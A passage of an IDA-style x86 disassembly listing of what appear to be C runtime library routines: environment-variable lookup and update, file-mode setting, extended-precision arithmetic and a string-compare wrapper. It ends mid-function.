loc_425A5A: ; CODE XREF: sub_425955+F5j
push edi
call esi
cmp edi, 0Bh
pop ecx
jz short loc_425A68
cmp edi, 4
jnz short loc_425A7B
loc_425A68: ; CODE XREF: sub_425955+103j
; sub_425955+10Cj
cmp edi, 8
mov dword_4DB350, ebx
jnz short loc_425A7B
mov eax, [ebp+arg_0]
mov dword_43C94C, eax
loc_425A7B: ; CODE XREF: sub_425955+111j
; sub_425955+11Cj
xor eax, eax
pop ebx
loc_425A7E: ; CODE XREF: sub_425955+2Cj
; sub_425955+79j
pop edi
pop esi
pop ebp
retn
sub_425955 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_425A82 proc near ; CODE XREF: sub_425955+59p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43C948
cmp dword_43C8CC, edx
push esi
mov eax, offset dword_43C8C8
jz short loc_425AB0
lea esi, [ecx+ecx*2]
lea esi, ds:43C8C8h[esi*4]
loc_425AA4: ; CODE XREF: sub_425A82+2Cj
add eax, 0Ch
cmp eax, esi
jnb short loc_425AB0
cmp [eax+4], edx
jnz short loc_425AA4
loc_425AB0: ; CODE XREF: sub_425A82+16j
; sub_425A82+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43C8C8h[ecx*4]
cmp eax, ecx
jnb short loc_425AC4
cmp [eax+4], edx
jz short locret_425AC6
loc_425AC4: ; CODE XREF: sub_425A82+3Bj
xor eax, eax
locret_425AC6: ; CODE XREF: sub_425A82+40j
retn
sub_425A82 endp
; =============== S U B R O U T I N E =======================================
sub_425AC7 proc near ; CODE XREF: sub_4247EC+23p
arg_0 = dword ptr 4
cmp dword_4DC910, 0
push ebx
push esi
mov esi, dword_4DB2A0
push edi
jz short loc_425B3E
test esi, esi
jnz short loc_425AF8
cmp dword_4DB2A8, esi
jz short loc_425B3E
call sub_425E95
test eax, eax
jnz short loc_425B3E
mov esi, dword_4DB2A0
test esi, esi
jz short loc_425B3E
loc_425AF8: ; CODE XREF: sub_425AC7+14j
mov ebx, [esp+0Ch+arg_0]
test ebx, ebx
jz short loc_425B3E
push ebx
call sub_41AFE0
pop ecx
mov edi, eax
loc_425B09: ; CODE XREF: sub_425AC7+6Dj
mov eax, [esi]
test eax, eax
jz short loc_425B3E
push eax
call sub_41AFE0
cmp eax, edi
pop ecx
jbe short loc_425B31
mov eax, [esi]
cmp byte ptr [eax+edi], 3Dh
jnz short loc_425B31
push edi
push ebx
push eax
call sub_425E56
add esp, 0Ch
test eax, eax
jz short loc_425B36
loc_425B31: ; CODE XREF: sub_425AC7+51j
; sub_425AC7+59j
add esi, 4
jmp short loc_425B09
; ---------------------------------------------------------------------------
loc_425B36: ; CODE XREF: sub_425AC7+68j
mov eax, [esi]
lea eax, [eax+edi+1]
jmp short loc_425B40
; ---------------------------------------------------------------------------
loc_425B3E: ; CODE XREF: sub_425AC7+10j
; sub_425AC7+1Cj ...
xor eax, eax
loc_425B40: ; CODE XREF: sub_425AC7+75j
pop edi
pop esi
pop ebx
retn
sub_425AC7 endp
; =============== S U B R O U T I N E =======================================
sub_425B44 proc near ; CODE XREF: sub_424F0A+8Bp
; sub_424F0A+D9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4DC6C0
jnb short loc_425BAB
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DC5C0[ecx*4]
lea edx, [ecx+eax*8+4]
mov cl, [ecx+eax*8+4]
test cl, 1
jz short loc_425BAB
mov al, cl
mov esi, 8000h
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_425B84
and cl, 7Fh
jmp short loc_425B91
; ---------------------------------------------------------------------------
loc_425B84: ; CODE XREF: sub_425B44+39j
cmp [esp+4+arg_4], 4000h
jnz short loc_425B9F
or cl, 80h
loc_425B91: ; CODE XREF: sub_425B44+3Ej
neg eax
sbb eax, eax
mov [edx], cl
and ax, 0C000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_425B9F: ; CODE XREF: sub_425B44+48j
mov dword_4DB278, 16h
jmp short loc_425BB5
; ---------------------------------------------------------------------------
loc_425BAB: ; CODE XREF: sub_425B44+Bj
; sub_425B44+27j
mov dword_4DB278, 9
loc_425BB5: ; CODE XREF: sub_425B44+65j
or eax, 0FFFFFFFFh
pop esi
retn
sub_425B44 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425BBA proc near ; CODE XREF: sub_4256C2+165p
; sub_425DDA+69p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov cx, [ebx+0Ah]
xor eax, eax
push edi
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
mov edi, ecx
mov edx, 7FFFh
xor edi, eax
and eax, edx
and ecx, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_425DBA
cmp cx, 7FFFh
jnb loc_425DBA
cmp dx, 0BFFDh
ja loc_425DBA
cmp dx, 3FBFh
ja short loc_425C23
xor eax, eax
jmp short loc_425C5D
; ---------------------------------------------------------------------------
loc_425C23: ; CODE XREF: sub_425BBA+63j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_425C45
inc [ebp+arg_0]
test [esi+8], edx
jnz short loc_425C45
xor eax, eax
cmp [esi+4], eax
jnz short loc_425C47
cmp [esi], eax
jnz short loc_425C47
jmp loc_425DB4
; ---------------------------------------------------------------------------
loc_425C45: ; CODE XREF: sub_425BBA+71j
; sub_425BBA+79j
xor eax, eax
loc_425C47: ; CODE XREF: sub_425BBA+80j
; sub_425BBA+84j
cmp cx, ax
jnz short loc_425C6A
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_425C6A
cmp [ebx+4], eax
jnz short loc_425C6A
cmp [ebx], eax
jnz short loc_425C6A
loc_425C5D: ; CODE XREF: sub_425BBA+67j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_425DD5
; ---------------------------------------------------------------------------
loc_425C6A: ; CODE XREF: sub_425BBA+90j
; sub_425BBA+98j ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_425C7A: ; CODE XREF: sub_425BBA+122j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_425CCE
add eax, esi
lea ecx, [ebx+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_425C96: ; CODE XREF: sub_425BBA+112j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
movzx eax, word ptr [eax]
movzx ecx, word ptr [ecx]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_425050
add esp, 0Ch
test eax, eax
jz short loc_425CC1
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_425CC1: ; CODE XREF: sub_425BBA+FFj
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
jnz short loc_425C96
loc_425CCE: ; CODE XREF: sub_425BBA+C9j
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_425C7A
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_425D11
loc_425CEC: ; CODE XREF: sub_425BBA+14Ej
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_425D0A
lea eax, [ebp+var_24]
push eax
call sub_4250CF
add [ebp+arg_0], 0FFFFh
pop ecx
cmp word ptr [ebp+arg_0], 0
jg short loc_425CEC
loc_425D0A: ; CODE XREF: sub_425BBA+136j
cmp word ptr [ebp+arg_0], 0
jg short loc_425D4A
loc_425D11: ; CODE XREF: sub_425BBA+130j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_425D4A
movsx eax, word ptr [ebp+arg_0]
neg eax
add [ebp+arg_0], eax
mov ebx, eax
loc_425D2A: ; CODE XREF: sub_425BBA+184j
test byte ptr [ebp+var_24], 1
jz short loc_425D33
inc [ebp+var_14]
loc_425D33: ; CODE XREF: sub_425BBA+174j
lea eax, [ebp+var_24]
push eax
call sub_4250FD
dec ebx
pop ecx
jnz short loc_425D2A
cmp [ebp+var_14], 0
jz short loc_425D4A
or byte ptr [ebp+var_24], 1
loc_425D4A: ; CODE XREF: sub_425BBA+155j
; sub_425BBA+163j ...
cmp word ptr [ebp+var_24], 8000h
ja short loc_425D61
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_425D96
loc_425D61: ; CODE XREF: sub_425BBA+196j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_425D93
and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_425D8E
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_425D88
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_425D96
; ---------------------------------------------------------------------------
loc_425D88: ; CODE XREF: sub_425BBA+1C1j
inc word ptr [ebp+var_1C+2]
jmp short loc_425D96
; ---------------------------------------------------------------------------
loc_425D8E: ; CODE XREF: sub_425BBA+1B5j
inc [ebp+var_20+2]
jmp short loc_425D96
; ---------------------------------------------------------------------------
loc_425D93: ; CODE XREF: sub_425BBA+1ABj
inc [ebp+var_24+2]
loc_425D96: ; CODE XREF: sub_425BBA+1A5j
; sub_425BBA+1CCj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_425DBA
mov cx, word ptr [ebp+var_24+2]
or eax, edi
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
loc_425DB4: ; CODE XREF: sub_425BBA+86j
mov [esi+0Ah], ax
jmp short loc_425DD5
; ---------------------------------------------------------------------------
loc_425DBA: ; CODE XREF: sub_425BBA+42j
; sub_425BBA+4Dj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_425DD5: ; CODE XREF: sub_425BBA+ABj
; sub_425BBA+1FEj
pop edi
pop esi
pop ebx
leave
retn
sub_425BBA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425DDA proc near ; CODE XREF: sub_4251F1+440p
; sub_4256C2+14Cp
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_43CDC8
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_425E53
jge short loc_425E02
mov eax, [ebp+arg_4]
mov ebx, offset dword_43CF28
neg eax
mov [ebp+arg_4], eax
sub ebx, 60h
loc_425E02: ; CODE XREF: sub_425DDA+16j
cmp [ebp+arg_8], ecx
jnz short loc_425E0D
mov eax, [ebp+arg_0]
mov [eax], cx
loc_425E0D: ; CODE XREF: sub_425DDA+2Bj
cmp [ebp+arg_4], ecx
jz short loc_425E53
push esi
push edi
loc_425E14: ; CODE XREF: sub_425DDA+75j
mov eax, [ebp+arg_4]
add ebx, 54h
sar [ebp+arg_4], 3
and eax, 7
cmp eax, ecx
jz short loc_425E4C
lea eax, [eax+eax*2]
cmp word ptr [ebx+eax*4], 8000h
lea esi, [ebx+eax*4]
jb short loc_425E3F
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_425E3F: ; CODE XREF: sub_425DDA+57j
push esi
push [ebp+arg_0]
call sub_425BBA
pop ecx
pop ecx
xor ecx, ecx
loc_425E4C: ; CODE XREF: sub_425DDA+49j
cmp [ebp+arg_4], ecx
jnz short loc_425E14
pop edi
pop esi
loc_425E53: ; CODE XREF: sub_425DDA+14j
; sub_425DDA+36j
pop ebx
leave
retn
sub_425DDA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425E56 proc near ; CODE XREF: sub_425AC7+5Ep
; sub_426332+18p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jnz short loc_425E63
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_425E63: ; CODE XREF: sub_425E56+7j
push dword_4DC6C4
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_8]
push [ebp+arg_0]
push 1
push dword_4DC8E4
call sub_425F03
add esp, 1Ch
test eax, eax
jnz short loc_425E90
mov eax, 7FFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_425E90: ; CODE XREF: sub_425E56+31j
add eax, 0FFFFFFFEh
pop ebp
retn
sub_425E56 endp
; =============== S U B R O U T I N E =======================================
sub_425E95 proc near ; CODE XREF: sub_425AC7+1Ep
; sub_4261AB+5Bp
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
mov esi, dword_4DB2A8
push edi
xor edi, edi
mov eax, [esi]
cmp eax, edi
jz short loc_425EF6
mov ebx, dword_42717C
loc_425EAE: ; CODE XREF: sub_425E95+5Fj
push edi
push edi
push edi
push edi
push 0FFFFFFFFh
push eax
push edi
push 1
call ebx
mov ebp, eax
cmp ebp, edi
jz short loc_425EFE
push ebp
call sub_41B4D5
cmp eax, edi
pop ecx
mov [esp+14h+var_4], eax
jz short loc_425EFE
push edi
push edi
push ebp
push eax
push 0FFFFFFFFh
push dword ptr [esi]
push edi
push 1
call ebx
test eax, eax
jz short loc_425EFE
push edi
push [esp+18h+var_4]
call sub_4261AB
mov eax, [esi+4]
add esi, 4
pop ecx
cmp eax, edi
pop ecx
jnz short loc_425EAE
loc_425EF6: ; CODE XREF: sub_425E95+11j
xor eax, eax
loc_425EF8: ; CODE XREF: sub_425E95+6Cj
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_425EFE: ; CODE XREF: sub_425E95+29j
; sub_425E95+38j ...
or eax, 0FFFFFFFFh
jmp short loc_425EF8
sub_425E95 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425F03 proc near ; CODE XREF: sub_425E56+27p
var_3C = dword ptr -3Ch
var_36 = byte ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427CF0
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor ebx, ebx
cmp dword_4DB588, ebx
push 1
pop edi
jnz short loc_425F76
push edi
mov eax, offset dword_427940
push eax
push edi
push eax
push ebx
push ebx
nop
call near ptr 25D0000h
test eax, eax
jz short loc_425F53
mov dword_4DB588, edi
jmp short loc_425F76
; ---------------------------------------------------------------------------
loc_425F53: ; CODE XREF: sub_425F03+46j
push edi
mov eax, offset dword_4CAE2C
push eax
push edi
push eax
push ebx
push ebx
call near ptr 25D06A2h
nop
test eax, eax
jz loc_42616C
mov dword_4DB588, 2
loc_425F76: ; CODE XREF: sub_425F03+31j
; sub_425F03+4Ej
mov esi, [ebp+arg_C]
cmp esi, ebx
jle short loc_425F8D
push esi
push [ebp+arg_8]
call sub_426180
pop ecx
pop ecx
mov esi, eax
mov [ebp+arg_C], esi
loc_425F8D: ; CODE XREF: sub_425F03+78j
cmp [ebp+arg_14], ebx
jle short loc_425FA2
push [ebp+arg_14]
push [ebp+arg_10]
call sub_426180
pop ecx
pop ecx
mov [ebp+arg_14], eax
loc_425FA2: ; CODE XREF: sub_425F03+8Dj
mov eax, dword_4DB588
cmp eax, 2
jnz short loc_425FC7
push [ebp+arg_14]
push [ebp+arg_10]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 25D06A2h
jmp loc_42616E
; ---------------------------------------------------------------------------
loc_425FC7: ; CODE XREF: sub_425F03+A7j
cmp eax, edi
jnz loc_42616C
cmp [ebp+arg_18], ebx
jnz short loc_425FDC
mov eax, dword_4DB344
mov [ebp+arg_18], eax
loc_425FDC: ; CODE XREF: sub_425F03+CFj
cmp esi, ebx
jz short loc_425FE9
cmp [ebp+arg_14], ebx
jnz loc_426081
loc_425FE9: ; CODE XREF: sub_425F03+DBj
cmp esi, [ebp+arg_14]
jnz short loc_425FF6
loc_425FEE: ; CODE XREF: sub_425F03+13Cj
; sub_425F03+16Dj
push 2
loc_425FF0: ; CODE XREF: sub_425F03+146j
pop eax
jmp loc_42616E
; ---------------------------------------------------------------------------
loc_425FF6: ; CODE XREF: sub_425F03+E9j
cmp [ebp+arg_14], edi
jle short loc_426002
loc_425FFB: ; CODE XREF: sub_425F03+151j
; sub_425F03+159j ...
mov eax, edi
jmp loc_42616E
; ---------------------------------------------------------------------------
loc_426002: ; CODE XREF: sub_425F03+F6j
cmp esi, edi
jg short loc_426047
lea eax, [ebp+var_3C]
push eax
push [ebp+arg_18]
nop
call near ptr 2880000h
test eax, eax
jz loc_42616C
cmp esi, ebx
jle short loc_42604B
cmp [ebp+var_3C], 2
jb short loc_426047
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_426047
loc_42602D: ; CODE XREF: sub_425F03+142j
mov dl, [eax+1]
cmp dl, bl
jz short loc_426047
mov ecx, [ebp+arg_8]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_426041
cmp cl, dl
jbe short loc_425FEE
loc_426041: ; CODE XREF: sub_425F03+138j
inc eax
inc eax
cmp [eax], bl
jnz short loc_42602D
loc_426047: ; CODE XREF: sub_425F03+101j
; sub_425F03+120j ...
push 3
jmp short loc_425FF0
; ---------------------------------------------------------------------------
loc_42604B: ; CODE XREF: sub_425F03+11Aj
cmp [ebp+arg_14], ebx
jle short loc_426081
cmp [ebp+var_3C], 2
jb short loc_425FFB
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_425FFB
loc_42605E: ; CODE XREF: sub_425F03+177j
mov dl, [eax+1]
cmp dl, bl
jz short loc_425FFB
mov ecx, [ebp+arg_10]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_426076
cmp cl, dl
jbe loc_425FEE
loc_426076: ; CODE XREF: sub_425F03+169j
inc eax
inc eax
cmp [eax], bl
jnz short loc_42605E
jmp loc_425FFB
; ---------------------------------------------------------------------------
loc_426081: ; CODE XREF: sub_425F03+E0j
; sub_425F03+14Bj
push ebx
push ebx
push esi
push [ebp+arg_8]
push 9
push [ebp+arg_18]
nop
call near ptr 27F0000h
mov [ebp+var_1C], eax
cmp eax, ebx
jz loc_42616C
mov [ebp+var_4], ebx
add eax, eax
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4260D0
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+arg_C]
push 1
pop edi
loc_4260D0: ; CODE XREF: sub_425F03+1B5j
cmp [ebp+var_24], ebx
jz loc_42616C
push [ebp+var_1C]
push [ebp+var_24]
push esi
push [ebp+arg_8]
push edi
push [ebp+arg_18]
mov esi, dword_427180
call esi
test eax, eax
jz short loc_42616C
push ebx
push ebx
push [ebp+arg_14]
push [ebp+arg_10]
push 9
push [ebp+arg_18]
call esi
mov esi, eax
mov [ebp+var_20], esi
cmp esi, ebx
jz short loc_42616C
mov [ebp+var_4], edi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov edi, esp
mov [ebp+var_28], edi
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_42613B
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor edi, edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_20]
loc_42613B: ; CODE XREF: sub_425F03+224j
cmp edi, ebx
jz short loc_42616C
push esi
push edi
push [ebp+arg_14]
push [ebp+arg_10]
push 1
push [ebp+arg_18]
nop
call near ptr 27F0000h
test eax, eax
jz short loc_42616C
push esi
push edi
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 25D0000h
jmp short loc_42616E
; ---------------------------------------------------------------------------
loc_42616C: ; CODE XREF: sub_425F03+63j
; sub_425F03+C6j ...
xor eax, eax
loc_42616E: ; CODE XREF: sub_425F03+BFj
; sub_425F03+EEj ...
lea esp, [ebp-4Ch]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_425F03 endp
; =============== S U B R O U T I N E =======================================
sub_426180 proc near ; CODE XREF: sub_422ACA+81p
; sub_425F03+7Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_42619D
loc_426190: ; CODE XREF: sub_426180+1Bj
cmp byte ptr [eax], 0
jz short loc_42619D
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_426190
loc_42619D: ; CODE XREF: sub_426180+Ej
; sub_426180+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_4261A8
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_4261A8: ; CODE XREF: sub_426180+21j
mov eax, edx
retn
sub_426180 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4261AB proc near ; CODE XREF: sub_425E95+50p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
cmp [ebp+arg_0], edi
jz short loc_42620F
push 3Dh
push [ebp+arg_0]
call sub_4263F1
mov esi, eax
pop ecx
cmp esi, edi
pop ecx
mov [ebp+var_8], esi
jz short loc_42620F
cmp [ebp+arg_0], esi
jz short loc_42620F
mov eax, dword_4DB2A0
xor ebx, ebx
cmp [esi+1], bl
setz bl
cmp eax, dword_4DB2A4
jnz short loc_4261F5
push eax
call sub_42638A
pop ecx
mov dword_4DB2A0, eax
loc_4261F5: ; CODE XREF: sub_4261AB+3Cj
cmp eax, edi
jnz short loc_42624D
cmp [ebp+arg_4], edi
jz short loc_426217
cmp dword_4DB2A8, edi
jz short loc_426217
call sub_425E95
test eax, eax
jz short loc_42624D
loc_42620F: ; CODE XREF: sub_4261AB+Dj
; sub_4261AB+22j ...
or eax, 0FFFFFFFFh
loc_426212: ; CODE XREF: sub_4261AB+182j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_426217: ; CODE XREF: sub_4261AB+51j
; sub_4261AB+59j
cmp ebx, edi
jnz loc_42632B
push 4
call sub_41B4D5
cmp eax, edi
pop ecx
mov dword_4DB2A0, eax
jz short loc_42620F
mov [eax], edi
cmp dword_4DB2A8, edi
jnz short loc_42624D
push 4
call sub_41B4D5
cmp eax, edi
pop ecx
mov dword_4DB2A8, eax
jz short loc_42620F
mov [eax], edi
loc_42624D: ; CODE XREF: sub_4261AB+4Cj
; sub_4261AB+62j ...
sub esi, [ebp+arg_0]
mov edi, dword_4DB2A0
mov [ebp+var_4], edi
push esi
push [ebp+arg_0]
call sub_426332
mov esi, eax
pop ecx
test esi, esi
pop ecx
jl short loc_4262AD
cmp dword ptr [edi], 0
jz short loc_4262AD
test ebx, ebx
jz short loc_4262A5
push dword ptr [edi+esi*4]
lea edi, [edi+esi*4]
call sub_41B0B1
pop ecx
loc_42627F: ; CODE XREF: sub_4261AB+E2j
cmp dword ptr [edi], 0
jz short loc_42628F
mov eax, [edi+4]
inc esi
mov [edi], eax
add edi, 4
jmp short loc_42627F
; ---------------------------------------------------------------------------
loc_42628F: ; CODE XREF: sub_4261AB+D7j
mov eax, esi
shl eax, 2
push eax
push [ebp+var_4]
call sub_41B202
pop ecx
test eax, eax
pop ecx
jz short loc_4262DF
jmp short loc_4262DA
; ---------------------------------------------------------------------------
loc_4262A5: ; CODE XREF: sub_4261AB+C6j
mov eax, [ebp+arg_0]
mov [edi+esi*4], eax
jmp short loc_4262DF
; ---------------------------------------------------------------------------
loc_4262AD: ; CODE XREF: sub_4261AB+BDj
; sub_4261AB+C2j
test ebx, ebx
jnz short loc_42632B
test esi, esi
jge short loc_4262B7
neg esi
loc_4262B7: ; CODE XREF: sub_4261AB+108j
lea eax, ds:8[esi*4]
push eax
push edi
call sub_41B202
pop ecx
test eax, eax
pop ecx
jz loc_42620F
mov ecx, [ebp+arg_0]
mov [eax+esi*4], ecx
and dword ptr [eax+esi*4+4], 0
loc_4262DA: ; CODE XREF: sub_4261AB+F8j
mov dword_4DB2A0, eax
loc_4262DF: ; CODE XREF: sub_4261AB+F6j
; sub_4261AB+100j
cmp [ebp+arg_4], 0
jz short loc_42632B
push [ebp+arg_0]
call sub_41AFE0
inc eax
inc eax
push eax
call sub_41B4D5
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_42632B
push [ebp+arg_0]
push esi
call sub_41BEB0
mov eax, esi
pop ecx
sub eax, [ebp+arg_0]
pop ecx
add eax, [ebp+var_8]
and byte ptr [eax], 0
inc eax
neg ebx
sbb ebx, ebx
not ebx
and ebx, eax
push ebx
push esi
nop
call near ptr 25C1068h
push esi
call sub_41B0B1
pop ecx
loc_42632B: ; CODE XREF: sub_4261AB+6Ej
; sub_4261AB+104j ...
xor eax, eax
jmp loc_426212
sub_4261AB endp
; =============== S U B R O U T I N E =======================================
sub_426332 proc near ; CODE XREF: sub_4261AB+B2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, dword_4DB2A0
push edi
mov eax, [esi]
test eax, eax
jz short loc_42636D
mov edi, [esp+8+arg_4]
loc_426344: ; CODE XREF: sub_426332+39j
push edi
push eax
push [esp+10h+arg_0]
call sub_425E56
add esp, 0Ch
test eax, eax
jnz short loc_426363
mov eax, [esi]
mov al, [eax+edi]
cmp al, 3Dh
jz short loc_42637D
test al, al
jz short loc_42637D
loc_426363: ; CODE XREF: sub_426332+22j
mov eax, [esi+4]
add esi, 4
test eax, eax
jnz short loc_426344
loc_42636D: ; CODE XREF: sub_426332+Cj
mov eax, esi
sub eax, dword_4DB2A0
sar eax, 2
neg eax
loc_42637A: ; CODE XREF: sub_426332+56j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42637D: ; CODE XREF: sub_426332+2Bj
; sub_426332+2Fj
mov eax, esi
sub eax, dword_4DB2A0
sar eax, 2
jmp short loc_42637A
sub_426332 endp
; =============== S U B R O U T I N E =======================================
sub_42638A proc near ; CODE XREF: sub_4261AB+3Fp
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor ecx, ecx
test edi, edi
jnz short loc_426399
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
loc_426399: ; CODE XREF: sub_42638A+9j
cmp dword ptr [edi], 0
lea eax, [edi+4]
jz short loc_4263AB
loc_4263A1: ; CODE XREF: sub_42638A+1Fj
mov edx, [eax]
inc ecx
add eax, 4
test edx, edx
jnz short loc_4263A1
loc_4263AB: ; CODE XREF: sub_42638A+15j
push ebx
push ebp
lea eax, ds:4[ecx*4]
push esi
push eax
call sub_41B4D5
mov esi, eax
pop ecx
test esi, esi
mov ebp, esi
jnz short loc_4263CC
push 9
call sub_41DA29
pop ecx
loc_4263CC: ; CODE XREF: sub_42638A+38j
mov eax, [edi]
mov ebx, edi
loc_4263D0: ; CODE XREF: sub_42638A+5Bj
test eax, eax
jz short loc_4263E7
push eax
add ebx, 4
call sub_426464
mov [esi], eax
mov eax, [ebx]
pop ecx
add esi, 4
jmp short loc_4263D0
; ---------------------------------------------------------------------------
loc_4263E7: ; CODE XREF: sub_42638A+48j
and dword ptr [esi], 0
mov eax, ebp
pop esi
pop ebp
pop ebx
pop edi
retn
sub_42638A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4263F1 proc near ; CODE XREF: sub_4261AB+14p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp dword_4DC6DC, 0
jnz short loc_42640C
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41BFB0
pop ecx
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42640C: ; CODE XREF: sub_4263F1+Aj
mov ecx, [ebp+arg_0]
loc_42640F: ; CODE XREF: sub_4263F1+56j
